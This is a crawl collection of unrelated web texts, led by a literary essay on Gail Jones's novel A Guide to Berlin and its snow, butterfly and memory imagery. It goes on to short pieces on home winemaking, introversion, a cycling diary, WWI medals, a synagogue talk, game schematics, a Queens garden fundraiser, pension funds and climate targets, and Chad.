Of course, A Guide to Berlin is not the first book to have Nabokov emerge as an envoy in the lives of its fragile characters. Perhaps the most enigmatic appearance of the Russian author in literature is within the pages of W.G. Sebald’s The Emigrants, a book whose digressive, accumulative narrative enacts what might be nominated, after A Guide to Berlin, its own speak-memories. Sebald’s novel is comprised of four stories, each of which focuses on an émigré who has been irreparably affected by the terrors and upheavals of the Second World War. And in each story, Nabokov is briefly evoked as a spectral figure with a butterfly net, a description that does nothing to convey the narrative force of this half-presence which recalls those invisible observers of uncertain purpose haunting Nabokov’s narratives. (Such observers are arguably attributed a fuller, cinematic life in Wim Wender’s Wings of Desire, a film Cass expressly recalls in A Guide To Berlin and whose gliding angels she links with her own sense of transparent ghostliness). The unnamed first-person narrator in The Emigrants declines to comment on this curious return of Nabokov just as Cass’s flash recollection of moths, ‘the anti-butterfly’, from another of Sebald’s novels Austerlitz is unexpected and unexplained in A Guide To Berlin. In Austerlitz these Lepidoptera are melancholic creatures; they invoke ‘awe’ in the protagonist and prompt imaginative empathy, with Austerlitz wondering ‘what kind of fear and pain they feel when they are lost’. Their recollection in Jones’s novel impresses the insight that Nabokov, Benjamin, Sebald and A Guide to Berlin share: the potential of metaphorical language to discern patterns in contingency and coincidence.
It seems therefore prosaic to evoke Benjamin’s snowflakes to draw attention to the weather that shapes the world of A Guide to Berlin. Speaking about the weather is an unpromising subject and as Cass acknowledges at one point in the novel, the topic is entirely ‘unoriginal’. It might seem enough to remark in casual passing that Jones’s novel takes place during a few weeks of a particularly bitter northern hemisphere winter. Yet, for all its mundaneness, the ‘slow-falling flakes’ the winter brings are the images that meaningfully preside over A Guide to Berlin.
In Five Bells, despite the summer heat of Sydney, images of snow, lifted from literature, form connective patterns between two characters whose paths ‘had mysteriously intersected’ three times during the day in which the novel takes place but who exchanged only a few words. Catherine’s grief for her brother calls forth ‘the intimate presence of snow’ concluding James Joyce’s short story ‘The Dead’; Pei Xing recollects ‘a section of Doctor Zhivago that is full of snow’, which her father had meticulously translated.
For her part, Cass in A Guide to Berlin is at a loss to understand why everyone seems to ‘defer the ‘real’ Berlin until spring’. The winter she enters is confronting. Cass – ‘the Australian […] from Sydney’ as Marco introduces her at her first group gathering – is radically underprepared for this climate, and it throws off-balance her antipodean sensibilities. It is a season also out of kilter with its habitual poetic associations with absence, monotony and arrest. One of Benjamin’s favourite literary subjects, Charles Baudelaire, has snowstorms swallow a body frozen stiff in ‘Le Goût du néant’, and he is hardly alone in attributing to winter a sense of deadening ennui. In distinct contrast, the first snowfall has Cass imaginatively volitant, ‘She remembered reading somewhere that if one watches falling snow long enough, it would seem as if one’s building is floating upwards. This was true. Verifiable. She was ascending, already, her elation was a levitation’. From then on, each time ‘she found herself in snow she felt again the charm of the first moment she had rushed to her window. Each time she faced the fierce arctic air, she was relieved when it sprang alive with a bulge and billow of soft flakes’. And when it is not falling, ‘she wanted snow. Cass wanted that powdery light, that world-filling softness. She wanted total immersion’.
Such snowy moments in the novel resonate with Benjamin’s intuition about playful, meaningful convergences between words and flurries. It is not simply that the narrative tells of Cass’s snowy desires; like the flurries they relate the words themselves, and the narrative they constitute, have a material quality; they give a sense of mellifluous descent, repetition with quiet variation and gentle accumulation. Their slow gathering is accented, and they are shared between the characters for their aesthetic pleasure, and the dense networks of private meanings and histories they carry – words such as ferrule, lemniscate, ensellure, meerschaum.
Cass’s response to the weather is contrarian, but its meaning is understood by Gino, Marco’s friend and rival for Cass’s sexual attention, who confides, ‘I also love snow’. Her reaction fits with her image of herself as anachronistic, precocious, serious and largely separate. She is almost disbelieving that Berlin should house a Ramones museum. And whereas Mitsuko and Yukio, the Japanese lovers of her own age and who comprise a third of the group, enthusiastically head out to a nightclub ‘to hear a famous Japanese DJ play remixes of David Bowie. Super-cool!’ – a contemporary, international image of Berlin as palimpsest – Cass listens alone on her laptop to ‘Mischa Maisky on cello’, anticipating, welcoming even, her future as ‘an old woman, alone in a dark room, with only Bach’s cello to keep her company’. With all these word-flurries, all that desire for physical and mental absorption, and (at the same time) all that drift of distance, it is hard to avoid the speculative idea that the world in which Cass moves can be conceived as a sort of snow-globe.
The snow-globe is a sorrowful improbability in Sorry, Jones’s novel that admits the ongoing traumas of settler colonialism in Australia. The snow dream had by Stella Keene (unhappily exiled), ‘As if beneath a plastic dome’ and repeatedly retold, becomes her daughter’s melancholy inheritance, ‘her own private treasure […] a vertical sadness’. It is only in such a mythopoeic space that ‘there was snow falling softly in the desert’. In wintry Berlin, however, snow is omnipresent, and when the snowflakes fall Cass feels momentarily metamorphosed, ‘She might have been experiencing transfiguration’.
If the claim for approaching A Guide to Berlin as snow-globe holds at all, it is with Benjamin’s apprehension of miniaturised scenes under glass in mind. He was enamoured with snow-globes as dialectical images; expectant that, with their stilled focus on an isolated, frozen scene, snow-globes might make visible historical relations and, at being shaken back into life, enact a transformative tremor. He accorded big responsibilities to such a little object. And his allocation to the snow-globe of the qualities of suspension and shattering is redolent for thinking about the structure and thematics of A Guide to Berlin.
If, as the cultural critic Celeste Olalquiaga tells, early Victorian snow-globes most commonly encased small figures holding umbrellas, then the pervasive presence of umbrellas throughout A Guide To Berlin, from the epigraph onwards, can be remarked on in terms that exemplify the ‘symbolic convergences’ the book’s characters marvel at. Victor tells of his father working as an umbrella maker; Victor exclaims ‘Umbrellas’ on seeing the contractile bodies of the jellyfish at the Berlin Aquarium, a response Cass determines as a sign of his ‘personal aesthetics derived from childhood enchantment and the authority of ideal forms’. Equally the reference could derive from the language of biology (exumbrella, subumbrella). On dropping her umbrella in a Berlin street, Cass notices properly for the first time the Stolpersteine, the commemorative brass plaques marking victims of Nazism.
Therefore it would be wrong to suggest that the group of six is removed from circulation and isolated from history, as objects placed in glass dome might seem to be. Yukio is on Twitter and ‘Facebook with many, many friends’, and the nightclub he dances in with Mitsuko is a former swimming pool bombed during the war. The Japanese couple immerse themselves in contemporary Berlin whereas Marco is arrested by the city’s memorialisations of the past, particularly Micha Ullman’s ‘empty bookshelves underground in Bebeplatz’. But as Cass makes her way through Berlin, her experiences are certainly presented as dream-like and at some remove. ‘She felt somehow tenuous and unbelonging; her riding [on the S-Bahn and U-Bahn] was the symptom of absent centre and inexplicit purpose’. Cass is geographically displaced but more than this physical circumstance, her inner life is suspended by the shame she feels at her childhood response to her brother’s death.
There is also some sense of detachment that characterises the gatherings of the six. The apartments in which the group cloisters itself encourage a feeling of separation from the world. Little is known of the histories of the past owners and occupants of these spaces; removed objects leave their shadows on the walls of one apartment. This notion of self-sufficiency, or isolation, is underlined by the soliloquy each character speaks, and there is a further theatricality, a heightened intensity, associated with these meetings and speeches. Strong liquor is ritually consumed; characters are costumed with Victor sporting a shapka ‘of artificial fur, a tourist item, and the dangling earflaps looked childish and comical’, and Cass noting repeatedly the complementary clothing Mitsuko and Yukio wear. As signs, she reads onto them the couple’s class position (they are rich, Cass determines) but the costumes also perhaps cast the lovers as the twinned wings of the butterfly that, with the snowflakes, is the novel’s sovereign airborne image. Through the novel’s insistence on their literary and biographical affiliations with Nabokov ¬¬– he writes of himself at length in Speak, Memory as a roaming, restless ‘lepist’ – the butterflies and the affective pull they have on the novel’s characters might be thought of as the patterning of memory.
The stories told in these sequestered spaces accelerate intimate friendships. As Cass reflects, ‘How could one not care for this gentle man [Victor] who had wanted someone else’s past and whispered “umbrella” to the violent night to help him sleep?’ If Cass’s impulse is ‘to care’, the book itself contends with the ethical (and narrative) responsibilities that witnessing, reading, listening to, and writing the trauma of others involves.
In her first novel, Black Mirror, Jones enquires as to how to write and memorialise the life of another beyond the blunt genre of biography. The would-be biographer in that book, Anna, is said to be unable to observe the ‘stringency’ of biography. In Dreams of Speaking, Alice moves from Australia to Paris to author a ‘presumptuously’ titled book, The Poetics of Modernity. There, she meets Mr. Sakamoto, who is researching the life of Alexander Graham Bell. He tracks ‘with biographical monomania all the flaunted public events and hidden private emotions’, but determines his project to be ‘folly’. This ethical questioning also informs Jones’s two short story collections, A House of Breathing and Fetish Lives, which imagine those lives and (‘piteous’ in the case of Mary Wollstonecraft) deaths official history declines to record.
It is a short story in the latter volume, ‘Speaks Shadow’, that seems most resonant with A Guide to Berlin, and not only because it too is a meditation on snowflakes as images and allegories. ‘It was my Jewish lover who told me that every snowflake is an image of the Star of David […] In the image, said my lover, lies its shade, its shadow’. The speak-memories of Victor and Marco in A Guide to Berlin interleave with what literary theorist Marianne Hirsch terms ‘postmemory’, the transgenerational diffusion of trauma that is so profound it comes to overwhelm and constitute the memory of the second generation. Like them, David Heller of ‘Speaks Shadow’ experiences an ‘excess of imagining’. Victor suffers from both not knowing his parents’ Auschwitz experiences and the guilt of being youthfully incurious, submitting that ‘every torment is possibly theirs, and nothing wholly is; I insert them into any memoir, anxiously imagining, then have to remove them again’. Marco tells in his speak-memory of consoling his Jewish mother with the promise that, as a form of ‘recompense’, he will one day write the history of her reduced story, ‘Disappearances. Adoptions. Conversions. Secrets.’ Here particularly, and in a novel that repeatedly stages ‘convenient displacement’ in a city attempting to face its brutal past, the phrase ‘one day’ intimates deferral rather than a definite future date.
Further, ‘Speaks Shadow’ gestures towards an ethical position that A Guide to Berlin seeks to imagine, what historian Dominick LaCapra has nominated ‘empathic unsettlement’, an ethical, affective response to the suffering of others. It calls for listening and understanding that resists full identification with, and appropriation of, specific traumatic experiences of others. The first person narrator of ‘Speaks Shadow’, following the breakup with David, questions whether the intimate relationship had been a means ‘to claim the suffering of the Hellers as my own special suffering’. The soliloquies that constitute A Guide To Berlin are a call for open perspicuity and responsive listening.
But, if the soliloquies and the listening they demand take place in snow-globe-like suspension, contemplation of this ethical relationship is ultimately shattered. Intimate revelation and reciprocity had once constituted the group but the community is broken asunder by physical assault and the tangled roles each character has as witnesses to it. Drug-affected, Gino casts Victor from the balcony on which Cass had first ecstatically encountered snowflakes, ‘her wet head gathering the adhesive flakes’. In a grotesque mirroring of the snowflakes’ vertical descent, ‘Gino lifted Victor, rested him, and then let him fall’. With his death, which the prologue anticipates, the remaining characters are knowingly ‘slipped into a genre’ and the soft, singular, eddying flakes congeal to form familiar shapes – ‘A snowman had been made’ ¬– devoid of metaphorical significance.
From that terrible moment, ‘an irrevocable plot has taken over’. Marco is propelled into shocked but purposeful motion to protect his friend, prompting questions regarding the ethics of friendship and effective response, with Cass, Yukio and Mitsuko thrown into stunned complicity with Marco’s resolve. Flurry-words are emptied of their poeticism and put into the service of explanations designed (perhaps unconsciously, as displacement would have it) to protect, conceal and solicit consent to the reality they construct: ‘It was an accident’. Victor’s death prompts reconsideration of all that has come before with the credulity of the speak-memories that laced together the characters rendered radically uncertain, ‘The most earnest and open story still meant nothing assured’. Bearing witness not only to Gino’s act and Victor’s resultant death but also to each other as ‘cowardly and passive’ results in the group’s rapid dissolution. Characters that had previously spoken at length fall mute, their intentions to speak out registered – ‘And I need to tell Rachael [Victor’s daughter], Cass thought’ – but never realised. Silent inaction leaves the narrative to envision a future time where the characters might consider ‘what might have happened if they had acted in a manner more responsible’.
In her anguish at Victor’s death, reading and writing ‘appeared stupid and cynical’ to Cass. Yet the omniscient position that A Guide to Berlin admits at such moments, and which brings to mind Nabokov’s invisible observers, is not to be easily conflated with Cass’s third person point of view that otherwise focalises the story. These words ‘speak’ future memories when the characters cannot and they afford the possibility of initiating recognition, remembrance and justice.
And while Cass might dismiss reading in her grief, acts of interpretation are subtly foregrounded in A Guide To Berlin, as they are in Jones’s earlier novel, Sixty Lights. For all its interest in photography, Sixty Lights attributes a special concession to reading as ‘the metaphysical meeting space’ that affords a gift of knowledge. In A Guide to Berlin, Cass barely disguises her displeasure at Marco’s imputation that she has misread Nabokov’s ‘A Guide to Berlin’ because reading matters greatly to her. In their original encounter outside the (rebuilt) apartment block where Nabokov and his family took rooms, Marco’s seduction of Cass into the group, and eventually into bed, involves an appeal to reading. He asks her – rhetorically, of course – ‘Who cares about complication? Who cares about Nabokov?’ Cass part-playfully replies ‘Who indeed?’, a passing comment that nevertheless acknowledges a doubt about the role of literature in the face of traumatic history as well as purported contemporary indifference. It is an uncertainty on which the narrative turns, and in which it is implicated. But Cass insists initially on reading as a precious pursuit, one that might even evidence an individual’s authentic temperament and worth. When she learns that Karl, the caretaker of her building, has an old book filled with etchings of snowflakes she is ‘compelled to revise her knowledge of him: he was, after all, an educated man, and one with assiduous – bookmarked – intellectual passions’. The narrative scripts Karl differently however, as a deus ex machina who unexpectedly appears at the Pergamon Museum to assist Marco through his epileptic convulsions, and is inexplicably at hand when the ‘incomprehensible’ act of Gino’s violence occurs late in the narrative.
A Guide to Berlin seems to recommend reading as a disruptive experience; it is part of the ethics the novel narrativises as it takes seriously Cass’s response to Victor’s speak-memory to ‘care’, and is alive to the conditions of vulnerability the sharing of stories of trauma and shame involve. A Guide to Berlin poses the question of how to respond to the demands of the dead, to history, to traumatic experiences and the memories of others, to friendship, with no equivocation. Reading, like A Guide to Berlin itself, is presented as hopeful (if that word is appropriate given that Cass is seen, in the achingly bleak ending to the novel, ‘simply sliding away’) of playing a part in ethical discourse and admitting its own want of answers. It is committed to complex understandings, to images and allegories speaking memories and their traumatic shadows.
Benjamin, Walter. Berlin Childhood around 1900. Trans. Howard Eiland. Cambridge: Harvard University Press, 2006.
Hirsch, Marianne. The Generation of Postmemory: Writing and Visual Culture After the Holocaust. New York: Columbia University Press, 2012.
Jones, Gail. A Guide to Berlin. North Sydney: Vintage, 2015.
–Black Mirror. Sydney: Picador, 2002.
–Dreams of Speaking. North Sydney: Vintage, 2006.
–Fetish Lives. Fremantle: Fremantle Arts Centre Press, 1997.
–Five Bells. London: Harvill Secker, 2011.
–Sixty Lights. London: The Harvill Press, 2004.
–Sorry. North Sydney: Vintage, 2007.
–The House of Breathing. Fremantle: Fremantle Arts Centre Press, 1992.
LaCapra, Dominick. Writing History, Writing Trauma. Baltimore: Johns Hopkins University Press, 2001.
Nabokov, Vladimir. Speak, Memory. London: Weidenfeld and Nicholson, 1967.
Olalquiaga, Celeste. The Artificial Kingdom: A Treasury of Kitsch Experience. London: Bloomsbury, 1998.
Sebald, W.G. Austerlitz. Trans. Anthea Bell. London: Hamish Hamilton, 2001.
Sebald, W.G. The Emigrants. Trans. Michael Hulse. London: Harvill Press, 1996.
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In anticipation of Aglianico grape harvest and more grapes to make our own wine, it was important to clear out the Montepulciano fermenting in the tote. As I said earlier, we are hobby winemakers with the dream of one day having our own "real" winery, so, we scaled up our batch size.
Once the fermentation is complete and you know it is, because the foaming stops when you press down the cap, the grapes are ready to be pressed. Pressing is done to remove the skins and seeds from the juice.
To do this, the grapes and juice are bucketed into a wine press.
We have a bladder press that extracts the juice. The fermented grapes are poured in the top.
For a closer look:
Once the press is full of juice, water is turned on to fill the bladder which is in the center of the grapes. As the pressure rises, the grapes are pressed between the sides of the press and the bladder.
The juice runs out the bottom.
Juice is then cuaght and put into barrels.
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Do you feel annoyed in social situations? Is your favorite place at home, watching Netflix or reading a good book? Being introverted is not an inherently bad trait to have. Studies show that introverted individuals tend to be more intelligent. In fact, 60% of gifted children are introverts. However, high intelligence isn’t an indicator that someone is happy or well-adjusted.
Some people may only appear introverted but are suffering from anxiety, depression, and low self-esteem. They tend to isolate themselves out of fear. If this sounds like you or someone you know, here’s what the experts say about introverts vs. those who purposefully isolate.
Isolation vs. Introversion
To be clear, seeking time alone is a perfectly normal and healthy thing to do. Those who cannot stand to be alone throughout parts of the day may be suffering from anxiety, depression, or codependency. Being alone gives us time to think and do tasks without needing to worry about others’ needs.
Introverts love to spend time alone to recharge and think. They are authentic and know what they want most of the time. They are not without friends; they just like to have more time alone than other people do. They also may not be as conversational as others are because they prefer listening and taking the scene in. But with close friends and those they feel most comfortable around, they can open up. Introverts are thinkers. They may tend to have creative careers or jobs that require less face-to-face interaction.
On the other hand, someone who isolates does so out of a mental health problem or depressed/anxious mood. Many times, addicts and alcoholics isolate themselves because they are ashamed of their behavior and have trouble maintaining close friendships. Isolation is primarily about escaping and avoiding life’s stresses. Those who struggle with anxiety and depression may isolate themselves so they don’t have to worry about impressing others or acting “o.k.”
There are times where it is perfectly normal to isolate. During a mourning period or a difficult breakup, or when you are sick, you have a legitimate reason to avoid interacting with others. You need time alone to process the situation or recover without anyone else interfering. Others prefer to be with others and get out of the house during those challenging times. But, not everyone reacts this way to hardship. Some people like to be alone.
Why We Need Others
The key is to not claim you are introverted simply as an excuse to isolate yourself. We need other people. When we spend too much time alone in a state of anxiety and depression, we get lost in our thoughts. They can turn very negative and keep us in that state for longer than needed. This is why AA talks about the importance of fellowship, calling others, and going to meetings. Even when we don’t feel like seeing other people or going anywhere, it is good for us. The company of other people takes us out of ourselves and back into reality so we can put matters into perspective.
Here are some best practices to stop isolating.
· Identify Root Cause – Why do you isolate? Are you depressed, lonely, or socially awkward? Be honest in your answers. It may require the help of a therapist.
· Connect with One Friend – Connect with one person you know. Even if you’ve shut off people for a while, call one friend, family member, or even your mom – just to hear someone else’s voice.
· Tell Someone – Tell a non-judgmental confidant how much you are struggling to interact with others. A therapist may be your best bet.
· Venture Out Slowly – Start small. Go get coffee with a friend for an hour. Go to church. Visit your family. Don’t decide to spend an entire day out with friends after isolating for a long time. Starting small gives you the confidence you need to maintain better habits.
· Stop People Pleasing – A lot of people isolate themselves because they are tired of accommodating others. It’s just easier to be alone and not worry about what others think. This is a false choice. Start saying no to people who take advantage of you. Speak your mind when you have an opinion. Don’t over apologize. Learn to be yourself around others so it will be less stressful to be around them. You will also develop more authentic friendships.
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- Iron Knob (A) to Wudinna (B)
There was some early morning excitement when the motel toaster burnt the breakfast toast, raising enough smoke to set off the fire alarm. I had no idea how to switch this off, but it eventually switched off of its own volition. Perhaps this was a common occurrence, because no-one came to investigate.
The wind was already blowing quite strongly when I emerged from the motel room at first light, a cold wind that made conditions rather unpleasant for the first few kilometres. In keeping with the recent weather pattern we’d experienced, it warmed up fairly quickly and the wind dropped at we moved away from Iron Knob. Within an hour or two the ride became enjoyable.
Eighty-six kilometres from Iron Knob and a gradual climb of about one hundred metres brought me to Kimba, lying at 263 metres above sea level. Kimba proclaims itself to be “Halfway Across Australia” and we stopped here for a photo session. It was something of a morale booster to pose in front of the publicity boards proclaiming that we were halfway across Australia. A huge galah at the side of the road allegedly marks the exact halfway point between the east coast and the west, but I knew that on the route that we were following we were still a few hundred kilometres shy of halfway.
- Signboard at Kimba
- Officially, halfway across Australia
When I had covered one hundred kilometres for the day we stopped for lunch and then pressed on westward towards Kyancutta. Kimba is the centre of a vast wheat growing area, “in the driest state of the driest continent on earth”, and for much of the ride to Kyancutta we were accompanied on both sides of the road by wheat fields that stretched off into the distance. Surprising the amount of wheat that is produced in an area that sees just 200 – 350 mm of rainfall each year.
There were quite a few hills along the way as the road skirted the Gawler Ranges of the Central Eyre Peninsula, also labelled “Granite Country” by those whose job it is to think up these things. There is certainly plenty of granite about so his imagination wasn’t strained in this case. Kyancutta, which is virtually a ghost town now – the airport was closed in 1935 – provided an opportunity to stop and enjoy an ice cream at a roadside café, then it was a matter of covering the last thirteen kilometres down the Eyre Highway to Wudinna.
After checking into the Gawler Ranges Caravan Park, we wondered off to look at the sights of Wudinna. Not much else to record.
Correction. There is something else to record. The flies. The flies are incredible. Unbelievable. Little ones. Big ones. Really big ones. Possibly crossbred with wedgetail eagles, they are capable of carrying off pigs and small children. They swarm over everything. And there are biting flies as well. They should exhibit these vicious specimens in the wildlife parks, behind thick bars and with warnings for the kids. Well, okay, I exaggerate, but only a little. They are nasty. A comment in the visitor’s book at the caravan park proclaimed that they found “More ants than at a confectioner’s picnic.” We added, “And more flies than at a stableboy’s convention.” | <urn:uuid:98d8b72b-1e94-497f-bcce-01d4a87b9173> | CC-MAIN-2022-33 | http://www.wilkinsonsworld.com/cycling/day-14-monday-from-iron-knob-to-wudinna-190-39-km/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573172.64/warc/CC-MAIN-20220818063910-20220818093910-00272.warc.gz | en | 0.975498 | 720 | 1.851563 | 2 |
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During World War I, there were four main medals issued: the 1914 Star, 1914-15 Star, Victory Medal, and the British War Medal. During World War I (1914-1918) the following campaign medals were issued: 1914 Star & Rosette.png 1914 Star 1914 Star.png 1914-15 Star British War Medal BAR.svg British War Medal Victory Medal ribbon bar.svg Victory Medal Territorial Forces War Medal BAR.svg Territorial Force War Medal Mercantile Marine War Medal BAR.svg Mercantile Marine War Medal The most frequent combinations are "trios" and "pairs". Trios are made up of one or other of the 1914 or 1914-15 Stars (they could not be awarded together), the British War Medal and the Victory Medal. The three medals were sometimes irreverently referred to as "Pip, Squeak and Wilfred". Pairs are generally for servicemen who joined the war after 1915, and are the British War Medal with the Victory Medal, colloquially known as the "Mutt and Jeff" pair. Occasionally one medal was issued, the British War Medal. Merchant seaman were entitled to the Mercantile Marine Medal (issued by the Board of Trade) and usually the British War Medal as well. The Territorial Force War Medal was awarded to members of the Territorial Force and Territorial Force Nursing Services who served overseas; it is the rarest of the five Great War medals. The Memorial Plaque was issued to the next-of-kin of deceased service personnel.
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With Rabbi Elyse Wechterman
Faster than a speeding bullet. More powerful than a locomotive. Able to leap tall buildings in a single bound. Look! Up in the sky! It’s a bird! It’s a plane! It’s a nice yeshiva bocher?!
Let’s look at the Jewish history of Superman, He-man and many of te classic superheroes and what that tells us about Jewish fears, hopes and longings.
Rabbi Elyse Wechterman, self-proclaimed geek, will share of the history of American superheroes and explore their connection to Jewish folklore and history.
Please click here to register in advance. Zoom link will be provided a few days before the program.
Adath Shalom. Parsipanny, NJ
Congregation Beth Israel, Hartford, CT
East Brusnwick Jewish Center, East Brunswick, NJ
Highland Park Conservative Temple – Congregation Anshe Emeth, Highland Park, NJ
The Emanuel Synagogue, West Hartford, CT
Rabbi Elyse Wechterman came to the Reconstructionist Rabbinical Association as Executive Director in the fall of 2015. During her tenure she created the Office of Rabbinic Career Development to serve the professional needs of rabbis in any field of work. She has also spearheaded a revised communications strategy and a renewed partnership with the movement’s rabbinical college and national association. As one of the founding faculty at Camp Havaya, she has served on the summer faculty for many years.
Before coming to the RRA, Rabbi Wechterman served as spiritual leader of Congregation Agudas Achim in Attleboro, Massachusetts from 2001 to June of 2014. Additionally, she has taught at the college and adult level in many settings and worked broadly with children and families with special needs to create inclusive communities for Jews of all abilities and backgrounds. She also previously worked for the national movement as Director of Congregational Services and consulted with congregations throughout the movement on governance, growth, staffing and other congregational issues.
A graduate of the Reconstructionist Rabbinical College, Rabbi Wechterman brings an open and inclusive approach to teaching Jewish life and traditions. She is committed to empowering Jews and fellow travelers on their individual and unique Jewish journeys. In addition to rabbinic ordination, Rabbi Wechterman holds a BA in International Relations and BS in Journalism from Boston University. | <urn:uuid:3c6d361c-65cb-4558-80cf-e51ceab0be20> | CC-MAIN-2022-33 | https://www.columbiajewish.org/events/superman-is-jewish/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572833.78/warc/CC-MAIN-20220817001643-20220817031643-00272.warc.gz | en | 0.946111 | 504 | 1.53125 | 2 |
A collection of schematics that use scrap to do almost everything.
Using the schematics (mobile)-
1. Extract the files. Then open the game.
2. Start a map (or load a saved game). Then click on the clipboard icon (3rd icon, top left of the screen).
3. Tap on Import schematic. Select Import file. Then browse to the files that you extracted and select one. You will have to do this one by one for each schematic.
4. Once it's loaded, the schematic will be available to build in the game.
Big thanks to :3 Sweetness and Blushes, Sir Silicon for their inputs on the scrap to silicon schematic.
Big thanks to Serdar for the scrap to impact reactor schematic and for the incredible guide.
Thanks to the Reddit and Steam community for much of the design patterns and guides.
1. Added scrap to surge schematic.
2. Added water extractors as an option on some designs.
1. Added scrap to ammo factory schematic.
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A walk along Greenway Terrace in Forest Hills Gardens will reveal an ornate gate, and if you peek inside you will discover the Tea Garden, a hidden gem that opened in 1912 next to the Forest Hills Inn.
“The Tea Garden of the Forest Hills Inn is a veritable fairyland,” read a 1924 edition of the Forest Hills Bulletin. “When lighted with Japanese lanterns, with the trickling fountain heard in the background, and a new moon shining overhead, there is no more delightful place in Greater New York for one to spend the dinner hour.”
The Tea Garden’s use dwindled when the inn underwent a residential conversion in the late 1960s, causing it to fall into a state of disarray. Today, the Tea Garden is part of Jade Eatery & Lounge at One Station Square.
“I’m dedicating all my efforts to bring the old memories back by setting up the water fountain in the center, and redoing the landscape as well as the patio,” said Jade owner Kumar.
To aid in the restoration effort, Ozone Park resident Ronald Gentile agreed to contribute over 130 puzzles, which this columnist is selling at $20 each. Larger donations are welcome.
“I’m thrilled that these puzzles, which have been left behind by a tenant and would otherwise have ended up in a recycling bin, are being given new homes and playing a role in this community’s improvement,” said Gentile.
Shortly after, Julie Marie decided to donate nearly 10 puzzles.
“If many people contribute a small amount to improve the community, it will have a large impact,” she said. The history and architecture of the Tea Garden and surrounding area is an unexpected yet pleasant surprise. It’s like an oasis in the middle of the busy hustle of Queens.”
The Tea Garden once featured rocking chairs and a “ring for tea” stand, which were later replaced with tables and umbrellas. It was also the site of 4th of July celebrations, plays by The Gardens Players such as “Prunella” in 1922, and wedding receptions into the 1960s.
The restoration would ideally include repairing the central brick fountain, painting the pergola, restoring the cascading wall fountain, repairing stonework and flagstone, adding greenery, and replicating the tea stand complete with a bell.
“I wasn’t nursing a burning desire for puzzles, but when I saw Perlman’s fundraiser, I remembered that I like to do puzzles,” said Jack Quinn, one of the first people to make a purchase. “They all were so high-quality and different than anything I would see in stores, so I selected 13 puzzles.
“I’m going to mail a puzzle to each of my aunts and uncles and people I know that are homebound,” he added. “I’m so glad to help raise money for the Tea Garden and also brighten the lives of people I know.”
The Tea Garden motivated Bill Zen to become a volunteer.
“The puzzle idea is an interesting one to get the ball rolling initially,” he said. “As I pass the Tea Garden I stop often, look through the chained gates, and it’s hard not to go back in time in your mind to when it must have been amazing.”
“As a public-private partnership between the community, the Forest Hills Gardens Corporation, the Forest Hills Inn, and the owner of Jade, it could be phenomenal,” Zen added. “You could see neighbors enjoying the public grounds early in the day, and contributing a small donation to a trust to maintain the grounds like a living museum.”
Forest Hills residents Nelly Lester Manzo and her husband Gaby recently spent the afternoon at Jade Eatery. She purchased five puzzles.
“I could just envision a little Garden of Eden,” she said. “It gave a bit of nourishment to our soul. I didn’t think twice when I heard about the Tea Garden fundraiser.”
It was a first-time visit for Corona resident Hope Stephens recently made her first visit to Jade.
“It was good to see some of the masonry and the original gate with the Forest Hills logo intact,” she said. “The Tea Garden could be a lovely venue for all kinds of small gatherings.” | <urn:uuid:443424b7-d9ba-4b5e-b6c9-404964806e0e> | CC-MAIN-2022-33 | https://www.licjournal.com/puzzles-sale-raises-money-for-tea-garden/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573699.52/warc/CC-MAIN-20220819131019-20220819161019-00272.warc.gz | en | 0.958694 | 942 | 1.703125 | 2 |
Nearly £2 trillion is invested in UK pension schemes that are failing to tackle climate change, campaigners have claimed.
A review of major pension funds by divestment campaign group Make My Money Matter found 71 of 100 are yet to detail concrete plans to reach net zero emissions by 2050.
The analysis, which used a list of top funds compiled by Professional Pensions, acknowledges that significant progress on divestment from fossil fuels has been made over the past 12 months – with an estimated £800 billion worth of UK pension money now in schemes working to tackle the climate crisis.
However, campaigners say the majority of UK pension schemes – which represent a total of £2.6 trillion – continue to fall short of the Paris Agreement target to restrict global temperature rise to 1.5C. They are calling on the government to “catalyse” change by setting mandatory science-based net zero targets.
“The report shows just how far we have to go,” said Richard Curtis, filmmaker and co-founder of the campaign.
“With almost three quarters of leading pensions schemes not yet aligned with the goals of the Paris agreement, we have to act with urgency to make sure that the trillions in our pensions help tackle the climate crisis, not fuel the fire.”
Exxon Mobil, BP, Shell and the Bank of England were among the companies with pension schemes lacking adequate net zero plans, the research claimed.
Campaigners said that progress varied among different schemes. According to the research, nearly all of the 15 largest Defined Contribution (DC) workplace pension providers – where the pension is based on how much is put in – have made concrete net zero commitments. In contrast, the majority of major Defined Benefit (DB) funds – where both the person and employer contribute to the scheme – were found to lag behind.
While a number of the companies listed have made pledges to reach net zero emissions, this was not considered sufficient in the analysis. The campaign instead defines “robust commitment” to net zero as having science-based interim targets to reduce emissions by 50 percent by 2030.
As well as calling on pension schemes to increase net zero commitments and “avoid greenwashing”, campaigners are calling on the government to “catalyse this transition by legislating for net zero, making it mandatory for schemes (and the wider finance sector) to set and implement science-based net zero targets”.
Responding to the research, Adam McGibbon, UK campaign lead at Market Forces, which coordinates groups of shareholders on climate issues, told DeSmog: “The science is crystal clear: Real climate action by pension funds means no investment in companies that are building new coal plants, coal mines or new oil and gas fields.
“This is the bare minimum that a responsible pension fund must commit to. If your pension fund isn’t committed to this, you should be very worried about your money.”
A spokesperson for the Department for Work and Pensions (DWP) said the government was opposed to the call for set targets.
“We are encouraging organisations to commit to net zero in a way that works for them, and to publish a plan for doing so,” they said.
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Chad is a vast landlocked country in north-central Africa home to approximately 16.4 million people, which covers an area 1,284,000 sq. kmincluding a large portion of arid and desert landscapes in the North and Centre, fertile Savannah and rainforests in the South, and wetland in the area of lake Chad. Its neighbours are Niger, Libya, the Sudan, the Central African Republic, Cameroon, and Nigeria.Chad suffers from impacts of climate change, which is exacerbating desertification and the drying up of Lake Chad.
The country has witnessed intermittent coup attempts and rebellions throughout its history and grapples with security challenges associated with conflicts in bordering countries. The recent death of President Idriss Deby Itno in April 2021 saw the establishment of a Transitional Military Council chaired by Mahamat ibn Idriss Deby Itno, son of the former president and current interim president.
Although an oil-producing nation Chad has consistently remained one of the poorest countries in Africa. This is partly a result of the harsh geographical conditions with the majority of Chad covered by desert. Climate change, geographic isolation, a lack of cultural cohesion as well as education are all contributors to the problem. Chad has one of the lowest scores on the Human Capital Index (HCI) at 0.3, meaning that children born today in Chad will only be 30% as productive when they grow up as they could be if they had access to good health, education, and nutrition.
Our work in Chad
